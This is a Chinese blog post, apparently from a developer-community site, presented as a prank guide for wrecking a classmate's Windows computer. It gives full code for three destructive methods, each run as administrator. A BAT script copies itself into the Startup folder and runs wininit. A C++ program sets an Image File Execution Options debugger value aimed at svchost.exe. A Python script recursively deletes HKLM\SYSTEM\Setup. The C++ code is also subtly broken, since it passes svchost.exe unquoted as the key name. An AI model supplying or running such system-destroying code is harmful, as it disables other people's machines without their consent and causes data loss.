弄汐你的电脑?

前言:暑假闲的没事,想整一下同学。整人最好的方案当然是弄汐Ta的电脑啦~

所以这里我给大家提供几种方法,可以拿去整整别人啦~(以下方法都会弄汐电脑!整人后果自负!!)

方案一:BAT

首先新建一个文本啦(建哪儿都行,名字也起啥都行),然后在文本中输入以下命令(代码类型我是乱选的,因为没有BAT)

@echo off
set cd=%~dp0
copy %cd% C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
wininit

PS:需要将第三行Administor换成你的用户名

接着将文本的后缀从“txt”改成“bat”或“cmd”,然后以管理员身份运行(运行后会立刻发作),最后你的电脑就可以开心的汐了~~

启动项:怎么赖我身上了??

方案二:C++

首先,确保你的电脑上装了Dev-cpp或其他C++编译器,如果没有,那么可以通过评论区中提供的网址进行下载和安装。如果有,那么可以直接输入以下指令

#include <windows.h>  
#include <iostream>  
  
int main() {  
    HKEY hKey;  
    LONG lResult;  
    DWORD dwDisposition;  
  
    // 定义要创建的注册表项的路径  
    const char* subKey = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options";  
  
    // 定义要设置的字符串值的名称和数据  
    const char* valueName = "debugger";  
    const char* valueData = "Nothing"; // 设置为空字符串  
  
    // 调用RegCreateKeyEx来创建或打开注册表项  
    lResult = RegCreateKeyEx(  
        HKEY_LOCAL_MACHINE, // 父键的句柄  
        svchost.exe,             // 子键的名称  
        0,                  // 保留,必须为0  
        NULL,               // 安全属性,NULL表示使用默认安全属性  
        REG_OPTION_NON_VOLATILE, // 选项标志,这里表示创建非易失性键  
        KEY_WRITE,          // 所需的访问权限  
        NULL,               // 类名,NULL表示没有类名  
        &hKey,              // 接收打开的键的句柄  
        &dwDisposition      // 接收操作的结果代码  
    );  

    // 现在,使用RegSetValueEx来设置字符串值  
    lResult = RegSetValueEx(  
        hKey,               // 要设置值的键的句柄  
        valueName,          // 值的名称  
        0,                  // 保留,必须为0  
        REG_SZ,             // 值的数据类型,这里是字符串  
        (const BYTE*)valueData, // 指向数据的指针  
        strlen(valueData) + 1  // 数据的大小(包括空字符)  
    );  
  
   
      
  
    // 关闭注册表项  
    RegCloseKey(hKey);  
  
    return 0;  
}

PS:“//”后的内容可以不抄,那些是注释

然后编译并以管理员身份运行,虽然运行后不会立刻发作,但当你重启后……       

svchost:你不要过来呀!!

方法三:Python

当然,还是要确保你安装了Python-IDE,如果没有安装,那么可以通过评论区的网址进行下载,如果有,那么直接输入以下指令

import winreg as reg  
  
def delete_registry_key_recursive(hive, subkey):  
    """  
    递归删除注册表项及其所有子项和值。  
  
    :param hive: 注册表的主键,如reg.HKEY_CURRENT_USER或reg.HKEY_LOCAL_MACHINE  
    :param subkey: 要删除的项的路径  
    """  
    try:  
        with reg.ConnectRegistry(None, hive) as root:  
            try:  
                # 打开要删除的项  
                key = reg.OpenKey(root, subkey, 0, reg.KEY_WRITE | reg.KEY_ENUMERATE_SUB_KEYS)  
  
                # 递归删除所有子项  
                i = 0  
                while True:  
                    try:  
                        subkey_name = reg.EnumKey(key, i)  
                        delete_registry_key_recursive(hive, f"{subkey}\\{subkey_name}")  
                        i += 1  
                    except OSError:  # 当没有更多子项时抛出  
                        break  
  
                # 删除所有值  
                while True:  
                    try:  
                        reg.DeleteValue(key, reg.EnumValue(key, 0)[0])  
                    except OSError:  # 当没有更多值时抛出  
                        break  
  
                # 关闭并删除当前项(注意:这里不需要再打开键,因为我们已经打开了它)  
                reg.CloseKey(key)  # 首先关闭键  
                reg.DeleteKey(root, subkey)  # 然后使用根句柄和子键路径来删除它  
  
    except Exception as e:  
        exit() 
  
# 使用示例  
# 注意:删除 HKEY_LOCAL_MACHINE 下的项通常需要管理员权限  
delete_registry_key_recursive(  
    reg.HKEY_LOCAL_MACHINE,  
    r"SYSTEM\Setup"  # 请确保这个路径是存在的,并且您确实想要删除它  
)

PS:“#”后的内容可以不抄,那些是注释

保存并以管理员身份运行.py文件,和上个程序一样,这个程序也不会立刻发作,但如果想看效果的话,那就重启罢……

Setup:首先我没有惹任何人

总结

用哪种方法自己选,但这三种方法都对电脑有害,不要在实体机上测试!!(虽然第一种方法危害没那么大)

预告

​​​​​​​下期出如何修复以上三种方法造成的伤害

  • 13
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值